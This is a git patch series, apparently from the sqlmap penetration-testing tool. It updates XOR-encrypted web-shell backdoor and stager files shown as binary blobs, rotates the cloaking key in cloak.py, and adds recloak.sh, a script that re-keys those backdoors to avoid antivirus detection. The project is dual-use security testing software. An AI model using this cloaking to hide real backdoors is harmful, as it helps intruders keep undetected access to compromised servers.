z6k~e2ZH;AT>~k`^$5xqbw-s2BwH#NF?{--Og*nr1@IF)9Mz@fu@j@5vgM@+BKfQQ^5aE>wf%6?$JpD(+(z#xy{Egd|Y(td0`^33n*f=R#>x z{d9k1ni5uz2aQ|kSYek94a0(2uNvJdQgqiJ#7LmYpC<4bg4@B=Rgy;YJT?77ZpR6z zfZ2uaz>Rp=%1n|&bCC_BDtp>g;N+E{h>m0aMM^?R$+Lk4K-E5&&E;zSP1`uSxIqM& zLYenvMSc~;m7A@LRf4bq82rnW5jSSZAh3N+#8GY9k65!=Fa&kgP0mXGk3zmN=kylVoH(4=fTuq1V2ztj zX0**EbMdjt4F-`u;G4*Rq62OqZgelNZMss4cl-c7&zCQhe5!)VwivXKl4ybbZeZ$| zuy)N{i08>v5Yal-5Z3NUQ>x=S`V>t}J526$aXDwzOa`Z#SA~h22#G_R;eeC#DG!&Gx zmci5KF5F0mh0oPG4=VJWuzL1f+)lEZi^mpUvasjqj|lh3Xmn>R@RYG}>ULj8`kG^XGq5UF)%M+49D7RMMJ3~Ln-W#m zM7_JML?9mrRE?{BM9qYGPqsw})bPi$XVL^7yPDb>7_J*6_F$u_yn1u|T~4-bP_R3$ zZIT=<89gdA{^dyD#@&Cw&t!8uRFoVsXTY@bA@xAnEBi$Mw^QpWbm_VonvU=ZQ}>x0 zI|Z!Ne{Jx;!ZcZs)C~+J=t}SbPrRzovf5pQ*-&qOCs`$CYm)^V zQ~DJOU%4^)hy(IHI6f71JKiB6G;6FDUpRgbujdokcp+$HDOZf$mI1gf4#GD1MC3T- zuOtGjrlGr(i_V1AkZRu@=9^dY0gdj%N8p|HT^V3XJ@p%9Ix^m(Jd=+E=VFvW_|Mvl zAK;E!?Cx6yBYHpE)W^lKE~^*qEK;dmeB!x(o!Z$mr!d@W{8IPeZ1z+`rt40ivx9S| T>mwrAg55AqM|BrOIdBWtsQd-x literal 529 zcmV+s0`C1f`QRWmSh8Pj5}?D~kWvK`(#6T%K5{}WEzL*g2s?4u`GIyeB(vOPYb}tH zyw9-G6aH(2+>r4KP!sUInsk+E;cSt^{c>gimoJdpf`bYXDSuqDFvvwWA}xx|Q|@@3 zW?n+-(wH)D?TO>br3RG!RaQhVsmql?wNG1S(3Aj34w4B~jH&r)LqbmfZ!3UArZ9HY z9payz8yOoWeuKzJdGDus7U^L)i^;>2P26WIhPe3|LGeEnsadCpmUIxwU~H9c3GW}C zGOHL2Gc!p6!^dmfpMqQPkX?5gewu#-TH=@Sc&cRSbizR1on43=Nz0iU!_m|^49=Z8 z5ev`ZLQm7Yn`?cbi!=xX!bFoaa-NCP>xFr=hG}bG4Od1}RVX>2~aI~5kB z!DdV}+gb(7T5Hb;(nT-&V T)&T+A+kzB+7)%po6Mkso(=Gff diff --git a/data/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_ index 2abd0225279c1fe465b24d6c8861f406f001cc88..5e021bffd57688898879ee43df1db8d2a7739600 100644 GIT binary patch literal 1321 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 ZRU@W+8105?Ht8NNuOvF8;eV}Yg_T*&x#j=> diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index bdfd7b09a..c68b4a06b 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -21,7 +21,7 @@ if sys.version_info >= (3, 0): xrange = range ord = lambda _: _ -KEY = b"Beeth7hoyooleeF0" +KEY = b"wXGWkn7KI0VhDOHS" def xor(message, key): return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) diff --git a/extra/shutils/recloak.sh b/extra/shutils/recloak.sh new file mode 100755 index 000000000..07dd4aabe --- /dev/null +++ b/extra/shutils/recloak.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +# NOTE: this script is for dev usage after AV something something + +DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P) + +cd $DIR/../../data/shell +find -regex ".*backdoor\.[a-z]*_" -or -regex ".*stager\.[a-z]*_" -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; + +cd $DIR/../cloak +sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py + +cd $DIR/../../data/shell +find -regex ".*backdoor\.[a-z]*" -or -regex ".*stager\.[a-z]*" -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; diff --git a/lib/core/settings.py b/lib/core/settings.py index 1a0cc75e5..de19e2b97 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.8.19" +VERSION = "1.4.8.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ea5ae44b6c7cf4fed74e4a1788c24459dfc0bf72 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 31 Aug 2020 11:55:14 +0200 Subject: [PATCH 13/45] Minor improvement --- data/shell/backdoors/backdoor.asp_ | Bin 243 -> 243 bytes data/shell/backdoors/backdoor.aspx_ | Bin 417 -> 417 bytes data/shell/backdoors/backdoor.jsp_ | Bin 359 -> 359 bytes data/shell/backdoors/backdoor.php_ | Bin 469 -> 469 bytes data/shell/stagers/stager.asp_ | Bin 1201 -> 1201 bytes data/shell/stagers/stager.aspx_ | Bin 529 -> 529 bytes data/shell/stagers/stager.jsp_ | Bin 1321 -> 1321 bytes data/shell/stagers/stager.php_ | Bin 379 -> 379 bytes extra/cloak/cloak.py | 2 +- extra/shutils/recloak.sh | 8 ++++++-- lib/core/common.py | 4 ++++ lib/core/settings.py | 2 +- 12 files changed, 12 insertions(+), 4 deletions(-) diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ index ebcf6bf5770b245779e5c1d0990f26111e437145..248f4cf5fc9bc6488a556c3d16dcb2189802b969 100644 GIT binary patch literal 243 zcmV$+u-Gd9Igjp9JG!6q8u@Wftl;ZR>US}cm@R~iFwSHBX24uKyfgzh9IDZ zX_<&{*&d}6ljU}Ht42n#O!CSXeFmrFm` zY#5k|4_F%OuCh#=n^fEjd17`^+*TM-jN*mX_O5RWSd$31ze)f-_(aw+-WY6U)}2Dh zuw)E#sov`yK)~Qx1M&V9M|z;>g>U8%JaxINu80|Ih5t_Nn?dm%BIi=7+`QZAad8=P(DwvY*^kZj>qnY&KGr@juPAVET-v*kP0dF+{C3I-GunfPI zKjz+k`yRS9_TVml(#8N*U4A#glWs zP8f%+YF$F(n4VLQ%`1upTViQ;xl=${y3U%#pwT%6dXpEB+D}+D&S=RYh-W%$^qpPq z)nQb7pYrq$7QePvA@SidB7gYcvqSj`cf$Yx diff --git a/data/shell/backdoors/backdoor.aspx_ b/data/shell/backdoors/backdoor.aspx_ index fa865e71dce01dac4578ca26c884fc2f42f472e5..7897339369ac89947522be4d4c0f2d63e9b30579 100644 GIT binary patch literal 417 zcmV;S0bc$z+u%8rII#y|B(x+tW;-|*`+D1?_ek!s8!Mr!rw8I5Qyje-;z&R@gJtK6 zNPgH{&|`r}8TUlLmD=Kdm#rqBeTFurS*X{jeyV=U&F328M<5|Ar8wbOxu zEYiixlfI61sX6N61s`OTLD$FNGes{Fj0*O{L_9pqJ4PQ6)_hO|8wVli;3njgd+g)J z43)rv(ez!4rB1TX>o-94LiQ_zlLREvwb??Bm&C{EmZ_YzmG4If(GH=vW z{NRo{mFp}5r@8rjAi%%zlMsrKmgXjKW9f*Gn6bLS-?A;2C;!$z0je@j``NNYhvBTe ze}o`RxbP$FxH#Wh`jJER>`^|LV;Kf{V1E2>+%ko&KvSld(|yfW>e=Y=efx#-uegl{ zY1g6}7@nOc__Sm}3~V;OC5YmUD@sa0`t>Gb)t$W{4_JB;)!anr!W?jJ{xt9@?K3%E LDbS901r(l=zvR~T literal 417 zcmV;S0bc$(`QRqAU9?|m5|}$FFhp(`*?Po-l1;X`EeF21@p!ZlaU7yOhfNqiwMqDy z9s!P0@?)NFeDWN(qxSu?0$I=mvTY->;yGE|RS?I8XQ@*k&n0Dj>-t%1P=)G%5%Bqx zN58@KkZAA?k@hfb~NjxreiblNnK#d~txm)TvZ^3FDmuFj@TzpE42P0n0?RO*PX1VhV5 zs-M_2x9c+{!n~n$7VMzn#c$l6wB|Wi2JFy>uAQaQiOqYN1^>wyWUp#R&GoHU(VqIU zU4%bt-SvCqjugO2tnL;2&QT%11{_{-R#M}9icQm_VpF-Wws@6Z-1Yb3D}>YhjkuB_ z4AS}%F0z6&uFEn{E^H~8K#jVE9cEQitcq}L_no2#YF#23iybP?`1w{O*h~a_=xO>GyPb(OA3DDn`%-9^Zk~t^7!@ zT~bTN-8NagoL*R0K(^htRWf239EPda?F-l_`ws!Xk`4#&Sq3;LAekwh$&TAKjy#IcFhRgmyKQ?5;g8nZQ51dG|gjCdzR4mvy(i9u{ z6L9HYBjGTvP%8NimeAC`J5L%?^)+5Fdc#G>$gi<_y6C*J`d(W$WH`ox!&Q=jcx9f8 Fy;tn_v^M|% literal 359 zcmV-t0hs424R2Iim&-tLnY7wTv@-`i_yhbQgd2u9B#d)nFDo6uLh z3oRYU|29UO`C9;AcACPZ15Gp+K8CjNhz@`t%_APH#BovKdj=;DMVxV!|Dx|UA4iT& z95{ff&kKi;_FqEIOoSLk1{I9HmuIGXtXm3I#Z{~@Icx2ilkflquhn^72A8$Zg`-pQ zgE_1%X6>Rca{f+gU>eZ%ZV^EkZR|&EK0xi5(nHX$A{14lsTpO<^s%w!TnZV7u>`2e zotOKckptP5N(PCDgZB1cOZgZimDfdjTz~rih)6#wI%w#Eu2@B;Zcl-VgSc0glkRr zF>v;HM&xLwW(MXSz^{U^8BYaukT3=~Oz&FMp3vuXnCPRGpIZYyQWV*dl`6!KT4jN( F*iu%5upIyZ diff --git a/data/shell/backdoors/backdoor.php_ b/data/shell/backdoors/backdoor.php_ index ee2aa1c2876c5812eb58a0e644ae73cc35a86d9b..4ee285e106a857be15c3b6aca2fe656f69e16457 100644 GIT binary patch literal 469 zcmV;`0V@79+vqt0-S!7%rD(UrX_~|^>#=xl$)@Qi%(=qRUR_^;WZhZ$H+FVoto(#` zQVzc#!eO0%onFL^kIdZ!I;>-C4xZjj4_6DJNfYYl`ifb7}QGnf;^;?1AqqFL!xrCkxf*=||nY0P( zTLD#qJR92f1lgia`$QczIjgV*^O$aUPf)d?=9h6Kpdf+{PAe0N<2f@y=y)vZ4iXOjMUbOS}c#+I>}&!c6||)5Z>o9DdP_A3(>R*wgmm(HOppq#3(G`x+L? zqQ|a7E#KWLtc#x^03c)ol-8mEqr?T-CfAuG=OIiTCmuYN<}WP}jj#E7+=H>lvIdM( L%G!WaAiQ*9YU$^; literal 469 zcmV;`0V@7F`RFDkxbt6alSHW3Kjo4>$+2fitfR3n`jy?n2qFoLM%_lreH zY=zCRYzbRuNnqSLf@?`}a%XRN}Dqa@ewfwT32+=0dcvzkLSssG^GWES(tvgFQ8>_D(mYp_md3>s}u;?c$f*_qKD=tfd)fFsKz6WF|epQ}< z`8LNngpL|w8Y{s}X}lWyzjzIt^kCurg}GRVK7P)sdPSd>?*HlXhiB-7h8d)0o*z!a zlWhFcdqWZlP^}AEo1lNWHf+Q3b5i%o&uuyv*udn7^xrXV_gesFj LoTb)X0=#QQu3qW+ diff --git a/data/shell/stagers/stager.asp_ b/data/shell/stagers/stager.asp_ index ff0201d5fb013592d2a1ea1fd15a53370c9f7018..a2f45388165f29ff748c4d7fd46b6334e1ee2bc7 100644 GIT binary patch literal 1201 zcmV;i1Wx-j+t56cJ&zAzCVh>3_-oAwLO%rCK=` z&BA>%W7K#J<EsT_g33)A! z8Et^UN@Nen20l<7-Pxh3FH{!4>7KrhA^eMFh?HXmuq^l8{Q6o)-9k_iDp0#Bw*R8PxTQbHR`RliHNt&JRpgoQ?87y{-P^ zYFSK8*c25u*f~5*{Qnz&S~YY2Dl}V*BdMy}!sBfxp`#FAj$UnoE>WO&6Eyo6-Cytz zlVIt+=9b~1>b~~$ze(Vjqsy~o&RigEF(Na$gFrT$(~*u%H4-Q4p)4OqxNexrVbV21 zfhTdsD++s1iE3uf>r^5!N=RinHa*lP5JOyHjNpBvkK-iJKl1r7dn0q#6~m{9@68hg zai2k!G{e}pSGWe1LDxp(7}Ne1tZe-eot)8=zeY`;{5x{@L*_=5)(PXTl) zZf(f(Xi*t2x=mF!&UtYfCav%aBqp(hvZcgD`h2-ArF=at;M152FvX zS6LGpD=U>^y+ag>zzO%5P+y2OanyeLT)3{;%LaDN9(9Kw7BkV_VGrX)|($%{(}KU+7(u{}Rr z-*jL@{}&F2F`-2J4j#b+FTA7YD%k2Ove_F z<=oxo_MvCXoHN8tQIQgaPkw@2*2s#p-tjf?XG&dethU(=cKIQTo0>fHZ`&uG-9%iG zbhYSq69GfYx0|x8Fo);~F3{A6M@TTo0D)(2RI&A1MiibaB#^+>I+d3&fBlKdqv9(foCK*d|l)iCf-`DpC|J-MfHS*{XO!q5J7 zbW~H!_p}!;^&{2_7B{?@q>>Ae0!yk#k#nk7Z_ZWO>PO}|(bx&a%16r9qNgFq1&G5& zP?*v-C64FBF9wbog`SXzlrM2JI1729Pr6O668Ts)`MWTOD%I4)lo+eG_ifqrSWNYc z<_Vips^`{ob<|?rCi?MP1=Y1Q*c4K0UP-ofODq9x(IhlVi7vCQNCZ_ln_?CGo(1=Q zfwg926?Zs1pLZymoBYhRlc&j&fL#;7`xXl5wZD3;br|O;lQZK>UK| z22Z@@c0P0PZ!1eLp{SISFm@`N)x^TKNa>JQ^yOAQuMW%kz@R37v{y?bRw0fNsojK6 zC}|Dqz@1hO&6o=3w_YC7DOCK-^riUVQ888N2KLFXPn+yG`p=K-vVM7PgRjmTf%k&j z158(cq-7ut#~T1>z@=wLGazWpRz+^GJd2k9{<#q!$hHe@@-JAqF>{<#FK&k*v`Xte z?-AUF`Lx}I*5r!J)?E9l-@1lh(S96B4R}w1>QybNui(3ODli+)opxh?(R+jV9isqw zo&`6PgaeX&EX$nG`Fbt;}dr*U%85%1U{Y=NqdoR+lsDcJ_lq;Mc>B(E{L zd<@fk)slX|FY%7@+;}?uyd%bnGgmT?!_x6J76+0pua`!2bDe0QhR9wMk(L}MGjKr> zaZmK!{BP)-GIPaj9Ho_+yOJ#TpWdm*^a!~_lG`qXb`GIN&rEe|gq#V5!NsZc2Z}CW zO*~$TGPGev#(hza^zc?Vmt&>=S?v#&7di)P)Us|1?n->1>LqL*p*?C)Z7ewgGx>9j zK1>KGS6ZNEV8KkC76O%Hu%|}R8*-VeaUYCQT(36^L+qi)n;pQZkH>}!d#0a=yPr23 zX#=btZnmh?aa3GQ)6tXRz*&4P6Lz5HOeK4Cb=PM%>^dVzxdwCh_0cylR!%JR%}fes zz*bym!%cF(ShQcsa&PoFFyWzE_C@&`4NcQN?ncA>q6E_#+l1xh3adiW7CWAIQ{^hF z*@mIspR|1W;6m|sPO~ncb0q#`zul36qJRL)cxYitknE*3AM850=j#c`aQPd#;T|BV z9ia0>Z*X?;sJV`a4BeD5N5#*zJ2?gX9g<#7oeoLr&|$ZD8VVM{l}VMVM2yj=aWke( zm927eOOwfddQRdKO@-U%M&zOkVBfXK{T!SR4hr{fY*&w=;9*(bI8e((?<-lDzoh#txcWeVSJhX21$`Z_U#WImPRII!}CEq7#-R;6r zNDeRbo}mmKiBjV+2^E06n8Ri$<9xfYC78tuW6riHwgm%1g&&d1U)ok PALCkbE8vz#dZTf^rn*u` diff --git a/data/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_ index d7d399b1bfe0ae8fc555967b3d0e1843e53d5046..2ff6b3fbfcc5acf3148ae9b703ad5a87daff0f29 100644 GIT binary patch literal 529 zcmV+s0`C1Z+u%PEJ+}vCB#hk7#w}AF@Ws~oTXz~I8{t^=UPLF>+kt5jLAHc!T>+1Q z>agbAG5&O;xs|B`WhU->FERq&->8zn)b#77YIaJn4gfMCI zc<0BJEj0u+DEyvATkp7CbL=@Vz2)418>2BLq`2ljB=lz-pLMvKzzaslLTrjjZ0bjr z1cwJ7WlSFr;m36Q`iBGfrg3NqDCH>%c;blG9j`p$LhfJ9%Oc(qYs-c`rqqlvI^u#U zM|7F*U{B1O{%$3xy%-l4lsm;bP@b0bj({P&utjuCTPP4+bg?-<-@LpNUqB(LZE8TO z<7QJ6zF%F#Y)8-=wd+=mM$(EfpoVj@G`IIGXkeIm7Y26o>bgIu5SbLc)AO%!T@E~> zZ=h*1HmoYk^m4}rCmbnJ2ZUW1U4FMDBS}j%u*EO@M0*rmKth-A>Trz}5#S2lc)mp4 z#xWV5+R%=#l6>&;C`C&+XDwzOa`Z#SA~h22#G_R;eeC#DG!&Gx zmci5KF5F0mh0oPG4=VJWuzL1f+)lEZi^mpUvasjqj|lh3Xmn>R@RYG}>ULj8`kG^XGq5UF)%M+49D7RMMJ3~Ln-W#m zM7_JML?9mrRE?{BM9qYGPqsw})bPi$XVL^7yPDb>7_J*6_F$u_yn1u|T~4-bP_R3$ zZIT=<89gdA{^dyD#@&Cw&t!8uRFoVsXTY@bA@xAnEBi$Mw^QpWbm_VonvU=ZQ}>x0 zI|Z!Ne{Jx;!ZcZs)C~+J=t}SbPrRzovf5pQ*-&qOCs`$CYm)^V zQ~DJOU%4^)hy(IHI6f71JKiB6G;6FDUpRgbujdokcp+$HDOZf$mI1gf4#GD1MC3T- zuOtGjrlGr(i_V1AkZRu@=9^dY0gdj%N8p|HT^V3XJ@p%9Ix^m(Jd=+E=VFvW_|Mvl zAK;E!?Cx6yBYHpE)W^lKE~^*qEK;dmeB!x(o!Z$mr!d@W{8IPeZ1z+`rt40ivx9S| T>mwrAg55AqM|BrOIdBWtsQd-x diff --git a/data/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_ index 5e021bffd57688898879ee43df1db8d2a7739600..6f807c3f2f5ed02d8eef58f14afb9b2f3542285e 100644 GIT binary patch literal 1321 zcmV+^1=jjB+weUiJ&$o=r>!hUR1lYNiek=~jeSC6!7G zxk8hmwph8!GgC{c$$|l60`!|!ov0m71CI;%T#>y_{p-%)YRE4AxH*~~5X`9TUqEA$1@RNzdh-j5{o4k< zJki$c+Ekme$YPUxEKk&RAJZi?Kkc{~9S9SS8g&oPCWkJS0(}OX+ej0>S+>VRF)04A zMjIaNBc@(tJ>Ru1Q2mnMcc{?1uN^jISp@>2QZC-_!IV-ak=4Mvk}2~37)r-WbiA$% z)xe4e2b7Xtvq#$)MQfR)5$t{!!#Z{+pTqIf=>~*vBH3~yYgTevDl=M%OcLX+^$rE zIFd_o#n#8&GvoIZxlE)45dWnq5eX~Wm$9IEAg!?Q_)O4@s989WZs6YeyMfhY z0q{Rl5EnuXJUB2pb=&{*`U(qRbAIB;5P)(D1!ciq^= zacoi(~jU-r*SYV_Ax_3|q*ayFSbe*yyN}&Fa@rvbVHCvXL_D-d+i9VOJ03Lh3!v(5- zfw*(|u^B$*3OvXADmH%Bf$}=EdsO6W%=j&;`V4E;O}kW?-JjVJ2?IP(E%oW_p?m2b zhuEb)AmYmX3Pz2u+nK}oweTKMlQJW(iORYv{X(oH-B%tJrBKuH)mb8$9DCDNNyf** z7PdvdhCZz6fQk@CqQM=OzXfdMb3ongE-S8o@JV^q;tjtOMQK9>LfPt9cgLv1zBeWY zPM(nl*SN5@4XCGD* zcXI~mD?vB!8|GhJ(Yf#eI3vp!5FFl>`ZXKXyTWsu+N9?Zi`l;Rtgy{##;au|{P{ze f*eZFsz=A#1$h$$&cAazMi^$^cKjM*C*+*w7$AFq! literal 1321 zcmV+^1=jix#L@u<0o4sz&bT*qC}ELPI0YlYy3`ItU5v=q=>jRr@_@eISUj`y=x7t! z596qq#hySAXA`ElF^$u=y@X)IYkaFeh*;s%5( zreL9~tbJ{3%tH-4Zd(nFh+HhF{n*QG5s!==ZpAm{-QdbCDTpMBqCscIgt&+B%l6RG z!Hf69bVRH9W7;Qjb7^og`xz7XJNV6rp#70*ryHg@ESA*NHdT0_d4MM7WzjdU!GU^) zRm9ENrX{Y4*FdjW5EZCRcE&yiL!6Bw0xB=6CNFdMPm(pKehf39#A+{^W$e3qSUu%~ zI%+G|JcMFE0fosHIp~S)3)$s?us;ewWnX@oJ3GbQz2#>ej`#eZu5*sYabMhd2+f-} z%Hp;Rd2iYoR^^1%SeM}CU#i*NhaYW%@Y&lCZOr|vy_;CNcOYdOqg_E)c^j<=TWAL{74^mP z`4@mWK+)_A#3^pMs1;}5%&QuF4ZjTiR~tAhB?3@ezto;4l5V_tLxlBNw}-RggxcAw|fM%Qo5qS(v;3t zeSr#ABjbTKUjD7ONKWOCfGUs$op%G$rr)neOGgG#tSP~f%|kTl1S%#|za5>i3#{$^ zZcc7Ji8@@D8r|j6T2NeKRy+SQl8QfCBjsclE0Q1Xqzdx+oN()`(8dIxz`T-$W4Z1m z>8l}VF3#-xWLny4O#swgi{VNz`P0_S81X(Z4-<^t)_(TmI6un zN#5|IWcHztW;ojJmjigqA6Fbm11E&Hf%n5sQhd6S^C0HdHs(elk&^hp&Pd^!Z+^NW zu85gq#9WduIPx2EdypE!1QjhCMqX0eo|7)I6u`(`M5Vqy4c|L|>C2vFGN55$K?>^X z$@~v|BuxKfw0cHXQMnvW(cu$$=|sj1V7-wUEXVlvlSFp(ZOXx^nN;=>uM&b#BOHHMjEl z36y!8x@6GN>7NU9-moaGpeInkPa2`sM?SSpj5tj0{V#(zc{4veE6nj_3$~s3p%oe; za>VUEzOAc-b5ic$9flzgcf1oHDy=U;vE!jz9&_Y8HPLUGy%M)>9}!y4pW^NlTSY1> z9%dceS10fhcE+xYpQIq!FEpPYmtFMjt9^yjWG`?&vEG4I-q@_nN4Olntv&k7q8rno)3 zVzt|pJBAW~FZ0mIcB$Z6{bK@4Q}>J)dVu%GN8Der###4iYazQBhYl=YH^1YMw|W^6 z^|uJXD)F|#9p*ED5IvRNheRanP9 zH}E84y}+(oSSVkceU5o|83aH?rg8tW-rcG22}H)X>@nGRXUBu))nNGSvQ;JhMlG@rHn>>=pOSPuSb~eGax?`|DD*KpfZ5Bv ZFed(VF2R|3V3tTAjU*+5gnIR0v$^zyz2yJ^ literal 379 zcmV->0fhb!#M;G#1+@!R_KBYpQxC#5>&21_$Kr!wSo*=gjtrN}Q%Gy1^H66i&#fkj z9>ngiB&05+6RE85AH4f$ff6@xOx3V6M%s)2F3CiLx+ua@bOVPxyHrqEUaI(_%L^XkI)7kLxom@JwdcGkDg=>Q0AYxf`0KzL)K63@ER=rZm zJMU@UXAp#RpB;o8;$&M7a#*L-Kd1|V>mn>0-RpzAN>>$0O~Mwt$QD^|jsscFJWbpT zOMwwtqT-T%WO5^;6q{m2Wp#Cbxl_ZI= (3, 0): xrange = range ord = lambda _: _ -KEY = b"wXGWkn7KI0VhDOHS" +KEY = b"LGekORm7qYCsv39f" def xor(message, key): return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) diff --git a/extra/shutils/recloak.sh b/extra/shutils/recloak.sh index 07dd4aabe..17cd7bb75 100755 --- a/extra/shutils/recloak.sh +++ b/extra/shutils/recloak.sh @@ -5,10 +5,14 @@ DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P) cd $DIR/../../data/shell -find -regex ".*backdoor\.[a-z]*_" -or -regex ".*stager\.[a-z]*_" -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; +find -regex ".*backdoor\.[a-z]*_" -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; +find -regex ".*stager\.[a-z]*_" -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; cd $DIR/../cloak sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py cd $DIR/../../data/shell -find -regex ".*backdoor\.[a-z]*" -or -regex ".*stager\.[a-z]*" -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; +find -regex ".*backdoor\.[a-z]*" -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; +find -regex ".*stager\.[a-z]*" -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; + +git clean -f > /dev/null diff --git a/lib/core/common.py b/lib/core/common.py index c65b2ae97..b50810843 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5003,6 +5003,10 @@ def decloakToTemp(filename): >>> openFile(_, "rb", encoding=None).read().startswith(b'<%') True >>> os.remove(_) + >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", 